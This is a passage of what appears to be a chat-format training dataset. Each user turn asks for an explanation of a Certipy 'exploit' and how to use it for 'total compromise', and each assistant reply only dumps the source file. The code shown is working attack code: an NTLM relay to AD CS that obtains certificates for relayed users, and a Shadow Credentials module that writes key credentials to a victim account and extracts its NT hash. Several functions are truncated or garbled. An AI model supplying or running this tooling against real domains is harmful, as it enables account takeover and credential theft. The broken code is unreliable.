self.finish_run()\n\n def retrieve(self) -> bool:\n \"\"\"\n Retrieve a certificate by request ID.\n\n Returns:\n True on success, False on failure\n \"\"\"\n if self.adcs_relay.request_id is None:\n logging.error(\"Request ID was not defined\")\n return False\n\n request_id = int(self.adcs_relay.request_id)\n logging.info(f\"Retrieving certificate for request id {request_id}\")\n\n cert = self.interface.retrieve(request_id)\n if cert is None:\n logging.error(\"Failed to retrieve certificate\")\n return False\n\n return handle_retrieve(\n cert,\n request_id,\n self.username,\n out=self.adcs_relay.out,\n pfx_password=self.adcs_relay.pfx_password,\n )\n\n def request(self) -> Union[bool, Tuple[bytes, str]]:\n \"\"\"\n Request a new certificate for the relayed user.\n\n Returns:\n Tuple of (PFX data, filename) on success, False on failure\n \"\"\"\n # Choose appropriate template based on username\n template = self.config.template\n if template is None:\n logging.info(\"Template was not defined. Defaulting to Machine/User\")\n template = \"Machine\" if self.username.endswith(\"$\") else \"User\"\n\n logging.info(\n f\"Requesting certificate for user {self.username!r} with template {template!r}\"\n )\n\n # Generate certificate signing request\n csr, key = create_csr(\n self.username,\n alt_dns=self.adcs_relay.alt_dns,\n alt_upn=self.adcs_relay.alt_upn,\n alt_sid=self.adcs_relay.alt_sid,\n subject=self.adcs_relay.subject,\n key_size=self.adcs_relay.key_size,\n application_policies=self.adcs_relay.application_policies,\n smime=self.adcs_relay.smime,\n )\n self.interface.parent.key = key\n\n # Handle key archival if specified\n if self.adcs_relay.archive_key:\n logging.info(\n f\"Trying to retrieve CAX certificate from file {self.adcs_relay.archive_key}\"\n )\n with open(self.adcs_relay.archive_key, \"rb\") as f:\n cax_cert = f.read()\n cax_cert = der_to_cert(cax_cert)\n logging.info(\"Retrieved CAX certificate\")\n\n csr_data = create_key_archival(csr, key, cax_cert)\n else:\n csr_data = csr_to_der(csr)\n\n # Build certificate attributes\n attributes = create_csr_attributes(\n template,\n alt_dns=self.adcs_relay.alt_dns,\n alt_upn=self.adcs_relay.alt_upn,\n alt_sid=self.adcs_relay.alt_sid,\n )\n\n # Submit certificate request\n cert = self.interface.request(csr_data, attributes)\n\n if cert is None:\n logging.error(\"Failed to request certificate\")\n return False\n\n return handle_request_response(\n cert,\n key,\n self.username,\n self.adcs_relay.subject,\n self.adcs_relay.alt_sid,\n self.adcs_relay.out,\n self.adcs_relay.pfx_password,\n )\n\n def finish_run(self) -> None:\n \"\"\"\n Clean up after attack completion.\n \"\"\"\n self.adcs_relay.attacked_targets.append(f\"{self.username}@{self.domain}\")\n if not self.adcs_relay.forever:\n self.adcs_relay.shutdown()\n\n\nclass Relay:\n \"\"\"\n Main class for orchestrating NTLM relay attacks against AD CS.\n\n This class coordinates the relay servers and attack clients to obtain\n certificates by relaying NTLM authentication.\n \"\"\"\n\n def __init__(\n self,\n target: str,\n ca: Optional[str] = None,\n template: Optional[str] = None,\n upn: Optional[str] = None,\n dns: Optional[str] = None,\n sid: Optional[str] = None,\n subject: Optional[str] = None,\n application_policies: Optional[List[str]] = None,\n smime: Optional[str] = None,\n archive_key: Optional[str] = None,\n pfx_password: Optional[str] = None,\n retrieve: Optional[int] = None,\n key_size: int = 2048,\n out: Optional[str] = None,\n interface: str = \"0.0.0.0\",\n port: int = 445,\n forever: bool = False,\n no_skip: bool = False,\n timeout: int = 5,\n enum_templates: bool = False,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize the NTLM relay attack.\n\n Args:\n target: Target AD CS server (http://server/certsrv/ or rpc://server)\n ca: Certificate Authority name (required for RPC)\n template: Certificate template to request\n upn: Alternative UPN (User Principal Name)\n dns: Alternative DNS name\n sid: Alternative SID (Security Identifier)\n subject: Certificate subject name\n application_policies: List of application policy OIDs\n smime: SMIME capability identifier\n archive_key: Path to CAX certificate for key archival\n pfx_password: Password for PFX file\n retrieve: Request ID to retrieve instead of requesting a new certificate\n key_size: RSA key size in bits\n out: Output file base name\n interface: Network interface to listen on\n port: Port to listen on for NTLM relay\n forever: Continue listening for new connections after successful attack\n no_skip: Don't skip already attacked targets\n timeout: Connection timeout in seconds\n enum_templates: Enumerate available templates instead of requesting certificate\n kwargs: Additional arguments\n \"\"\"\n self.target = target\n self.base_url = target # Used only for HTTP(S) targets\n self.ca = ca\n self.template = template\n self.alt_upn = upn\n self.alt_dns = dns\n self.alt_sid = sid\n self.subject = subject\n self.archive_key = archive_key\n self.pfx_password = pfx_password\n self.request_id = int(retrieve) if retrieve else None\n self.key_size = key_size\n self.out = out\n self.forever = forever\n self.no_skip = no_skip\n self.timeout = timeout\n self.interface = interface\n self.port = port\n self.enum_templates = enum_templates\n self.kwargs = kwargs\n self.key: Optional[rsa.RSAPrivateKey] = None\n\n # Convert application policy names to OIDs\n self.application_policies = [\n OID_TO_STR_NAME_MAP.get(policy.lower(), policy)\n for policy in (application_policies or [])\n ]\n self.smime = smime\n\n self._request: Optional[Request] = None\n\n self.attacked_targets = []\n self.attack_lock = Lock()\n\n # Configure target based on URL or RPC string\n if self.target.startswith(\"rpc://\"):\n if ca is None:\n logging.error(\"A certificate authority is required for RPC attacks\")\n exit(1)\n\n logging.info(f\"Targeting {target} (ESC11)\")\n else:\n # Format HTTP target URL\n if not self.target.startswith(\"http://\") and not self.target.startswith(\n \"https://\"\n ):\n self.target = f\"http://{self.target}\"\n if not self.target.endswith(\"/certsrv/certfnsh.asp\"):\n if not self.target.endswith(\"/\"):\n self.target += \"/\"\n\n if self.enum_templates:\n self.target += \"certsrv/certrqxt.asp\"\n else:\n self.target += \"certsrv/certfnsh.asp\"\n logging.info(f\"Targeting {self.target} (ESC8)\")\n\n url = httpx.URL(self.target)\n\n if not url.is_absolute_url:\n logging.error(\n f\"Invalid target URL. Expected format: http(s)://server/path, got {self.target}\"\n )\n exit(1)\n\n self.base_url = f\"{url.scheme}://{url.host}\"\n\n # Configure impacket relay target\n target_processor = TargetsProcessor(\n singleTarget=self.target,\n protocolClients={\n \"HTTP\": self.get_relay_http_server,\n \"HTTPS\": self.get_relay_http_server,\n \"RPC\": self.get_relay_rpc_server,\n },\n )\n\n # Configure relay\n config = NTLMRelayxConfig()\n config.setTargets(target_processor)\n config.setDisableMulti(True)\n config.setIsADCSAttack(True)\n config.setADCSOptions(self.template)\n config.setAttacks(\n {\n \"HTTP\": self.get_attack_http_client,\n \"HTTPS\": self.get_attack_http_client,\n \"RPC\": self.get_attack_rpc_client,\n }\n )\n config.setProtocolClients(\n {\n \"HTTP\": self.get_relay_http_server,\n \"HTTPS\": self.get_relay_http_server,\n \"RPC\": self.get_relay_rpc_server,\n }\n )\n config.setListeningPort(port)\n config.setInterfaceIp(interface)\n config.setSMB2Support(True)\n config.setMode(\"RELAY\")\n\n self.server = SMBRelayServer(config)\n\n @property\n def request(self) -> Request:\n \"\"\"\n Get the current request object.\n\n Returns:\n The current request object\n \"\"\"\n if not self._request is None:\n return self._request\n\n self._request = Request(\n Target(\n DnsResolver.create(),\n timeout=self.timeout,\n ),\n ca=self.ca,\n template=self.template or \"\",\n upn=self.alt_upn,\n dns=self.alt_dns,\n sid=self.alt_sid,\n key_size=self.key_size,\n retrieve=self.request_id,\n out=self.out,\n )\n\n return self._request\n\n def start(self) -> None:\n \"\"\"\n Start the relay server and wait for connections.\n \"\"\"\n logging.info(f\"Listening on {self.interface}:{self.port}\")\n self.server.start()\n\n try:\n # Main loop - wait for connections\n while True:\n time.sleep(0.1)\n except KeyboardInterrupt:\n print(\"\")\n self.shutdown()\n except Exception as e:\n logging.error(f\"Received error while running relay server: {e}\")\n handle_error()\n\n def get_relay_http_server(self, *args, **kwargs) -> ADCSHTTPRelayServer: # type: ignore\n \"\"\"\n Factory method to create an HTTP relay server.\n\n Returns:\n Configured HTTP relay server\n \"\"\"\n return ADCSHTTPRelayServer(self, *args, **kwargs)\n\n def get_attack_http_client(self, *args, **kwargs) -> ADCSHTTPAttackClient: # type: ignore\n \"\"\"\n Factory method to create an HTTP attack client.\n\n Returns:\n Configured HTTP attack client\n \"\"\"\n return ADCSHTTPAttackClient(self, *args, **kwargs)\n\n def get_relay_rpc_server(self, *args, **kwargs) -> ADCSRPCRelayServer: # type: ignore\n \"\"\"\n Factory method to create an RPC relay server.\n\n Returns:\n Configured RPC relay server\n \"\"\"\n return ADCSRPCRelayServer(*args, **kwargs)\n\n def get_attack_rpc_client(self, *args, **kwargs) -> ADCSRPCAttackClient: # type: ignore\n \"\"\"\n Factory method to create an RPC attack client.\n\n Returns:\n Configured RPC attack client\n \"\"\"\n return ADCSRPCAttackClient(self, *args, **kwargs)\n\n def shutdown(self) -> None:\n \"\"\"\n Gracefully shut down the relay server.\n \"\"\"\n logging.info(\"Exiting...\")\n os._exit(0)\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Command-line entry point for relay functionality.\n\n Args:\n options: Command line arguments\n \"\"\"\n # Initialize logging from Impacket\n _impacket_logger.init()\n\n relay = Relay(**vars(options))\n relay.start()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/req.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate request module for Certipy.\n\nThis module provides functionality for:\n- Requesting certificates from Active Directory Certificate Services (AD CS)\n- Retrieving pending or issued certificates\n- Supporting various request methods (RPC, DCOM, Web Enrollment)\n- Handling certificate templates and custom attributes\n- Supporting certificate renewal, key archival, and on-behalf-of requests\n\nKey components:\n- Request: Main class for certificate operations\n- RequestInterface: Abstract base class for different request protocols\n- RPCRequestInterface: Certificate requests via MS-ICPR\n- DCOMRequestInterface: Certificate requests via DCOM\n- WebRequestInterface: Certificate requests via Web Enrollment\n\"\"\"\n\nimport argparse\n\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.logger import logging\nfrom certipy.lib.req import Request\nfrom certipy.lib.target import Target\n\n# =========================================================================\n# Command-line entry point\n# =========================================================================\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Command-line entry point for certificate operations.\n\n Args:\n options: Command-line arguments\n \"\"\"\n # Create target from options\n target = Target.from_options(options)\n options.__delattr__(\"target\")\n\n # Create request object\n request = Request(target=target, **vars(options))\n\n # Handle CAX certificate retrieval\n if options.cax_cert:\n if not options.out:\n logging.error(\"Please specify an output file for the CAX certificate!\")\n return\n\n cax = request.get_cax()\n if isinstance(cax, bytes):\n logging.info(f\"Saving CAX certificate to {options.out!r}\")\n output_path = try_to_save_file(cax, options.out)\n logging.info(f\"Wrote CAX certificate to {output_path!r}\")\n return\n\n # Handle certificate retrieval or request\n if options.retrieve:\n _ = request.retrieve()\n else:\n _ = request.request()\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/shadow.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nShadow Authentication Module for Certipy.\n\nThis module provides functionality for manipulating Key Credentials in Active Directory:\n- Adding new Key Credentials to user accounts\n- Retrieving NT hash using Key Credential authentication\n- Listing, removing, and clearing Key Credentials\n- Getting detailed information about specific Key Credentials\n\nThe Key Credential technique (also known as \"Shadow Credentials\") allows an attacker\nwith write access to a user's msDS-KeyCredentialLink attribute to authenticate as\nthat user by adding a certificate-based credential.\n\nReferences:\n- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab\n\"\"\"\n\nimport argparse\nimport datetime\nimport struct\nfrom typing import List, Optional, Tuple, Union\n\nimport ldap3\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\nfrom impacket.examples.ntlmrelayx.utils import shadow_credentials\n\nfrom certipy.lib.certificate import create_pfx, x509\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.files import try_to_save_file\nfrom certipy.lib.ldap import LDAPConnection, LDAPEntry\nfrom certipy.lib.logger import logging\nfrom certipy.lib.target import Target\n\nfrom .auth import Authenticate\n\n\nclass Shadow:\n \"\"\"\n Shadow Authentication class for manipulating Key Credentials in Active Directory.\n\n This class enables various operations related to Key Credentials including:\n - Auto mode: Add Key Credential, authenticate, retrieve NT hash, then restore original state\n - Add: Add a new Key Credential to a user account\n - List: Show all Key Credentials for a user\n - Clear: Remove all Key Credentials from a user\n - Remove: Delete a specific Key Credential identified by its Device ID\n - Info: Show detailed information about a specific Key Credential\n \"\"\"\n\n def __init__(\n self,\n target: Target,\n account: str,\n device_id: Optional[str] = None,\n out: Optional[str] = None,\n connection: Optional[LDAPConnection] = None,\n **kwargs, # type: ignore\n ):\n \"\"\"\n Initialize the Shadow Authentication module.\n\n Args:\n target: Target information including domain, username, and authentication details\n account: Account to target for Key Credential operations\n device_id: Device ID for operations that require targeting a specific Key Credential\n out: Output file path for saving PFX files\n scheme: LDAP connection scheme (ldap or ldaps)\n connection: Optional existing LDAP connection\n kwargs: Additional arguments\n \"\"\"\n self.target = target\n self.account = account\n self.device_id = device_id\n self.out = out\n self.kwargs = kwargs\n\n self._connection = connection\n\n @property\n def connection(self) -> LDAPConnection:\n \"\"\"\n Get or establish an LDAP connection to the domain.\n\n Returns:\n Active LDAP connection\n\n Raises:\n Exception: If connection fails\n \"\"\"\n if self._connection is not None:\n return self._connection\n\n self._connection = LDAPConnection(self.target)\n self._connection.connect()\n\n return self._connection\n\n def get_key_credentials(\n self, target_dn: str, user: LDAPEntry\n ) -> Optional[List[bytes]]:\n \"\"\"\n Retrieve the current Key Credentials for a user.\n\n Args:\n target_dn: Distinguished name of the target user\n user: LDAP user entry\n\n Returns:\n List of Key Credential binary values or None on failure\n \"\"\"\n results = self.connection.search(\n search_base=target_dn,\n search_filter=\"(objectClass=*)\",\n search_scope=ldap3.BASE,\n attributes=[\"SAMAccountName\", \"objectSid\", \"msDS-KeyCredentialLink\"],\n )\n\n if len(results) == 0:\n logging.error(\n f\"Could not get the Key Credentials for {user.get('sAMAccountName')!r}\"\n )\n return None\n\n result = results[0]\n return result.get(\"msDS-KeyCredentialLink\")\n\n def set_key_credentials(\n self, target_dn: str, user: LDAPEntry, key_credential: List[Union[bytes, str]]\n ) -> bool:\n \"\"\"\n Set new Key Credentials for a user.\n\n Args:\n target_dn: Distinguished name of the target user\n user: LDAP user entry\n key_credential: List of Key Credential binary values to set\n\n Returns:\n True on success, False on failure\n \"\"\"\n result = self.connection.modify(\n target_dn,\n {\"msDS-KeyCredentialLink\": [ldap3.MODIFY_REPLACE, key_credential]},\n )\n\n if result[\"result\"] == 0:\n return True\n\n # Handle specific error cases with helpful messages\n if result[\"result\"] == 50:\n logging.error(\n f\"Could not update Key Credentials for {user.get('sAMAccountName')!r} \"\n f\"due to insufficient access rights: {result['message']}\"\n )\n elif result[\"result\"] == 19:\n logging.error(\n f\"Could not update Key Credentials for {user.get('sAMAccountName')!r} \"\n f\"due to a constraint violation: {result['message']}\"\n )\n else:\n logging.error(\n f\"Failed to update the Key Credentials for {user.get('sAMAccountName')!r}: \"\n f\"{result['message']}\"\n )\n return False\n\n def generate_key_credential(\n self, subject: str\n ) -> Tuple[\n PrivateKeyTypes, x509.Certificate, shadow_credentials.KeyCredential, str\n ]:\n \"\"\"\n Generate a new certificate and Key Credential object.\n\n Args:\n subject: Certificate subject name\n\n Returns:\n Tuple containing (key, cert, key_credential, device_id)\n \"\"\"\n logging.info(\"Generating certificate\")\n\n # Ensure subject is not too long for AD\n if len(subject) >= 64:\n logging.warning(\"Subject too long. Limiting subject to 64 characters.\")\n subject = subject[:64]\n\n # Generate a certificate valid for a long time (-40 to +40 years)\n key, cert = shadow_credentials.createSelfSignedX509Certificate(\n subject=subject,\n kSize=2048, # Key size\n )\n logging.info(\"Certificate generated\")\n\n # Create a Key Credential from the certificate\n logging.info(\"Generating Key Credential\")\n device_id = shadow_credentials.getDeviceId() # Generate a random device ID\n key_credential = shadow_credentials.KeyCredential(\n key=key,\n deviceId=device_id,\n currentTime=now_ticks(),\n )\n\n device_id = device_id.hex()\n logging.info(f\"Key Credential generated with DeviceID {device_id!r}\")\n\n return (key, cert, key_credential, device_id)\n\n def add_new_key_credential(self, target_dn: str, user: LDAPEntry) -> Optional[\n Tuple[\n PrivateKeyTypes,\n x509.Certificate,\n List[Union[bytes, str]],\n List[bytes],\n str,\n ]\n ]:\n \"\"\"\n Add a new Key Credential to a user.\n\n Args:\n target_dn: Distinguished name of the target user\n user: LDAP user entry\n\n Returns:\n Tuple containing (key, cert, new_key_credential, saved_key_credential, device_id)\n or None on failure\n \"\"\"\n # Generate a new Key Credential\n sam_account_name = self._get_sam_account_name(user)\n key, cert, key_credential, device_id = self.generate_key_credential(\n sam_account_name\n )\n\n # Get the existing Key Credentials\n saved_key_credential = self.get_key_credentials(target_dn, user)\n if saved_key_credential is None:\n saved_key_credential = []\n\n # Create a new list including our new Key Credential\n new_key_credential = saved_key_credential + [\n shadow_credentials.toDNWithBinary2String(\n key_credential.dumpBinary(),\n target_dn,\n )\n ]\n\n logging.info(\n f\"Adding Key Credential with device ID {device_id!r} to the Key Credentials for \"\n f\"{user.get('sAMAccountName')!r}\"\n )\n\n # Update the user's Key Credentials\n result = self.set_key_credentials(target_dn, user, new_key_credential)\n if result is False:\n return None\n\n logging.info(\n f\"Successfully added Key Credential with device ID {device_id!r} to the Key Credentials for \"\n f\"{user.get('sAMAccountName')!r}\"\n )\n\n return (key, cert, new_key_credential, saved_key_credential, device_id)\n\n def _get_target_dn(self, user: LDAPEntry) -> Optional[str]:\n \"\"\"\n Get the distinguished name from a user entry and validate it.\n\n Args:\n user: LDAP user entry\n\n Returns:\n Distinguished name string or None if invalid\n \"\"\"\n target_dn = user.get(\"distinguishedName\")\n\n if not isinstance(target_dn, str):\n logging.error(\n \"Target DN is not a string. Cannot proceed with the operation.\"\n )\n return None\n\n return target_dn\n\n def _get_sam_account_name(self, user: LDAPEntry) -> str:\n \"\"\"\n Get the SAM account name from a user entry.\n\n Args:\n user: LDAP user entry\n\n Returns:\n SAM account name string\n \"\"\"\n sam_account_name = user.get(\"sAMAccountName\")\n\n if not isinstance(sam_account_name, str):\n logging.warning(\n \"SAM account name is not a string. Falling back to the account name.\"\n )\n return self.account\n\n return sam_account_name\n\n def auto(self) -> Optional[str]:\n \"\"\"\n Automatically add a Key Credential, authenticate, get NT hash, and restore original state.\n\n This is the most common attack scenario - adding a temporary Key Credential,\n using it to authenticate and get the NT hash, then cleaning up by restoring\n the original Key Credentials.\n\n Returns:\n NT hash string on success, False on failure\n \"\"\"\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return None\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return None\n\n # Add a new Key Credential\n result = self.add_new_key_credential(target_dn, user)\n if result is None:\n return None\n\n # Unpack the result\n key, cert, _, saved_key_credential, _ = result\n\n # Authenticate with the new Key Credential\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Authenticating as {sam_account_name!r} with the certificate\")\n authenticate = Authenticate(self.target, cert=cert, key=key)\n _ = authenticate.authenticate(\n username=sam_account_name,\n is_key_credential=True,\n domain=self.connection.domain,\n )\n\n # Cleanup by restoring the original Key Credentials\n logging.info(f\"Restoring the old Key Credentials for {sam_account_name!r}\")\n result = self.set_key_credentials(target_dn, user, saved_key_credential) # type: ignore\n\n if result is True:\n logging.info(\n f\"Successfully restored the old Key Credentials for {sam_account_name!r}\"\n )\n\n # Return the obtained NT hash\n logging.info(f\"NT hash for {sam_account_name!r}: {authenticate.nt_hash}\")\n return authenticate.nt_hash\n\n def add(self) -> bool:\n \"\"\"\n Add a new Key Credential to a user and save the certificate as a PFX file.\n\n Returns:\n True on success, False on failure\n \"\"\"\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return False\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return False\n\n # Add a new Key Credential\n result = self.add_new_key_credential(target_dn, user)\n if result is None:\n return False\n\n # Unpack the result\n key, cert, _, _, _ = result\n\n # Determine output filename\n out = self.out\n if out is None:\n sam_account_name = self._get_sam_account_name(user)\n out = f\"{sam_account_name.rstrip('$')}.pfx\"\n\n # Create and save PFX\n pfx = create_pfx(key, cert)\n\n logging.info(f\"Saving certificate and private key to {out!r}\")\n out = try_to_save_file(\n pfx,\n out,\n )\n logging.info(f\"Saved certificate and private key to {out!r}\")\n\n return True\n\n def list(self) -> bool:\n \"\"\"\n List all Key Credentials for a user.\n\n Returns:\n True if Key Credentials were found and listed, False otherwise\n \"\"\"\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return False\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return False\n\n # Get the Key Credentials\n key_credentials = self.get_key_credentials(target_dn, user)\n if key_credentials is None:\n return False\n\n # Handle empty Key Credentials\n if len(key_credentials) == 0:\n logging.info(\n f\"The Key Credentials attribute for {sam_account_name!r} \"\n f\"is either empty or the current user does not have read permissions for the attribute\"\n )\n return False\n\n # List the Key Credentials\n logging.info(f\"Listing Key Credentials for {sam_account_name!r}\")\n for dn_binary_value in key_credentials:\n key_credential_device_id, key_credential_creation_time = (\n get_device_id_and_creation_from_binary(dn_binary_value)\n )\n creation_time = (\n ticks_to_datetime(key_credential_creation_time)\n if key_credential_creation_time\n else None\n )\n creation_time_str = (\n creation_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n if creation_time\n else \"Unknown\"\n )\n\n logging.info(\n f\"DeviceID: {key_credential_device_id or \"Unknown\"} | \"\n f\"Creation Time (UTC): {creation_time_str}\"\n )\n\n return True\n\n def clear(self) -> bool:\n \"\"\"\n Clear all Key Credentials for a user.\n\n Returns:\n True on success, False on failure\n \"\"\"\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return False\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return False\n\n # Clear the Key Credentials\n logging.info(f\"Clearing the Key Credentials for {sam_account_name!r}\")\n result = self.set_key_credentials(target_dn, user, [])\n\n if result is True:\n logging.info(\n f\"Successfully cleared the Key Credentials for {sam_account_name!r}\"\n )\n\n return result\n\n def remove(self) -> bool:\n \"\"\"\n Remove a specific Key Credential identified by its Device ID.\n\n Returns:\n True on success, False on failure\n \"\"\"\n # Ensure a device ID was provided\n if self.device_id is None:\n logging.error(\n \"A device ID (-device-id) is required for the remove operation\"\n )\n return False\n\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return False\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return False\n\n # Get the Key Credentials\n key_credentials = self.get_key_credentials(target_dn, user)\n if key_credentials is None:\n return False\n\n # Handle empty Key Credentials\n if len(key_credentials) == 0:\n logging.info(\n f\"The Key Credentials attribute for {sam_account_name!r} \"\n f\"is either empty or the current user does not have read permissions for the attribute\"\n )\n return True\n\n # Find and remove the specified Key Credential\n device_id = self.device_id\n new_key_credentials = []\n device_id_in_current_values = False\n\n for dn_binary_value in key_credentials:\n key_credential_device_id, _ = get_device_id_and_creation_from_binary(\n dn_binary_value\n )\n if key_credential_device_id == device_id:\n logging.info(\n f\"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}\"\n )\n device_id_in_current_values = True\n else:\n new_key_credentials.append(dn_binary_value)\n\n # Update the Key Credentials if the specified Device ID was found\n if device_id_in_current_values:\n logging.info(\n f\"Deleting the Key Credential with device ID {device_id!r} \"\n f\"in Key Credentials for {sam_account_name!r}\"\n )\n\n result = self.set_key_credentials(target_dn, user, new_key_credentials)\n\n if result is True:\n logging.info(\n f\"Successfully deleted the Key Credential with device ID {device_id!r} \"\n f\"in Key Credentials for {sam_account_name!r}\"\n )\n return result\n else:\n logging.error(\n f\"Could not find device ID {device_id!r} in Key Credentials for \"\n f\"{sam_account_name!r}\"\n )\n return False\n\n def info(self) -> bool:\n \"\"\"\n Show detailed information about a specific Key Credential.\n\n Returns:\n True if the Key Credential was found and info displayed, False otherwise\n \"\"\"\n # Ensure a device ID was provided\n if self.device_id is None:\n logging.error(\"A device ID (-device-id) is required for the info operation\")\n return False\n\n # Get the target user\n user = self.connection.get_user(self.account)\n if user is None:\n return False\n\n sam_account_name = self._get_sam_account_name(user)\n\n logging.info(f\"Targeting user {sam_account_name!r}\")\n\n # Get and validate the distinguished name\n target_dn = self._get_target_dn(user)\n if not target_dn:\n return False\n\n # Get the Key Credentials\n key_credentials = self.get_key_credentials(target_dn, user)\n if key_credentials is None:\n return False\n\n # Handle empty Key Credentials\n if len(key_credentials) == 0:\n logging.info(\n f\"The Key Credentials attribute for {sam_account_name!r} \"\n f\"is either empty or the current user does not have read permissions for the attribute\"\n )\n return True\n\n # Find the specified Key Credential and display its info\n device_id = self.device_id\n for dn_binary_value in key_credentials:\n key_credential_device_id, key_credential_creation_time = (\n get_device_id_and_creation_from_binary(dn_binary_value)\n )\n if key_credential_device_id is None:\n logging.error(\n f\"Failed to extract Device ID from Key Credential binary for {sam_account_name!r}\"\n )\n return False\n if key_credential_creation_time is None:\n logging.error(\n f\"Failed to extract Creation Time from Key Credential binary for {sam_account_name!r}\"\n )\n return False\n if key_credential_device_id == device_id:\n logging.info(\n f\"Found device ID {device_id!r} in Key Credentials {sam_account_name!r}\"\n )\n creation_time = ticks_to_datetime(key_credential_creation_time)\n creation_time_str = (\n creation_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n if creation_time\n else \"Unknown\"\n )\n logging.info(\n f\"DeviceID: {key_credential_device_id} | \"\n f\"Creation Time (UTC): {creation_time_str}\"\n )\n\n return True\n\n logging.error(\n f\"Could not find device ID {device_id!r} in Key Credentials for \"\n f\"{sam_account_name!r}\"\n )\n\n return False\n\n\ndef unpack_data(data: bytes) -> List[Tuple[int, bytes]]:\n \"\"\"\n Unpack binary data into a list of (field_type, field_value) tuples.\n\n This function parses the Key Credential binary format by reading fields\n consisting of a 2-byte length, 1-byte type, and variable-length value.\n\n Args:\n data: Binary data to unpack (Key Credential binary)\n\n Returns:\n List of tuples containing field type and value\n \"\"\"\n fields = []\n # Skip the first 4 bytes which contain the version information\n offset = 4\n\n while offset < len(data):\n # Each field has a 2-byte length and 1-byte type header\n length, field_type = struct.unpack(\" bytes:\n \"\"\"\n Convert a DNWithBinary string to its binary representation.\n\n DNWithBinary format: \"B:::\"\n Example: \"B:826:4e544c4d5353500001....:CN=User,DC=domain,DC=com\"\n\n Args:\n dn_with_binary: DNWithBinary string or bytes\n\n Returns:\n Binary representation of the DNWithBinary\n\n Raises:\n ValueError: If the DNWithBinary format is invalid\n \"\"\"\n if isinstance(dn_with_binary, bytes):\n # Convert bytes to string if needed\n dn_with_binary = dn_with_binary.decode()\n\n # DNWithBinary format is \"B:::\"\n parts = dn_with_binary.split(\":\")\n if len(parts) != 4:\n raise ValueError(\n f\"Invalid DNWithBinary format: expected 4 parts but got {len(parts)}\"\n )\n\n # Extract and validate the binary data\n length = int(parts[1])\n hex_data = parts[2]\n\n if len(hex_data) != length:\n raise ValueError(\n f\"Hex data length mismatch: stated {length} but actual {len(hex_data)}\"\n )\n\n # Convert hex string to binary data\n return bytes.fromhex(hex_data)\n\n\ndef get_device_id_and_creation_from_binary(\n key_credential: bytes,\n) -> Tuple[Optional[str], Optional[int]]:\n \"\"\"\n Extract Device ID and Creation Time from a Key Credential binary.\n\n Args:\n key_credential: Key Credential binary data or DNWithBinary string/bytes\n\n Returns:\n Tuple containing (device_id, creation_time) where:\n - device_id is a hex string\n - creation_time is Windows ticks (100ns intervals since Jan 1, 1601)\n Returns (None, None) if extraction fails\n \"\"\"\n try:\n # Convert from DNWithBinary format if needed\n key_credential_binary = binary_data_from_dn_with_binary(key_credential)\n\n # Parse the binary data into fields\n fields = unpack_data(key_credential_binary)\n\n # Extract device ID and creation time from fields\n device_id = None\n creation_time = None\n\n for field_type, field_value in fields:\n if field_type == 0x6: # Device ID field\n device_id = field_value.hex()\n elif field_type == 0x9: # Creation time field (8-byte Windows timestamp)\n creation_time = struct.unpack(\" int:\n \"\"\"\n Get the current time in Windows ticks (100ns intervals since Jan 1, 1601 UTC).\n\n Used for creating timestamps in Key Credential objects.\n\n Returns:\n Current time as Windows ticks\n \"\"\"\n # Windows ticks: 100ns intervals since January 1, 1601 UTC\n windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc)\n now = datetime.datetime.now(datetime.timezone.utc)\n\n # Convert seconds to 100ns intervals (multiply by 10M)\n return int((now - windows_epoch).total_seconds() * 1e7)\n\n\ndef ticks_to_datetime(ticks: int) -> datetime.datetime:\n \"\"\"\n Convert Windows ticks to a UTC datetime object.\n\n Args:\n ticks: Number of 100ns intervals since January 1, 1601 UTC\n\n Returns:\n UTC datetime object\n \"\"\"\n windows_epoch = datetime.datetime(1601, 1, 1, tzinfo=datetime.timezone.utc)\n\n # Convert ticks (100ns intervals) to microseconds by dividing by 10\n delta_microseconds = ticks / 10\n\n return windows_epoch + datetime.timedelta(microseconds=delta_microseconds)\n\n\ndef 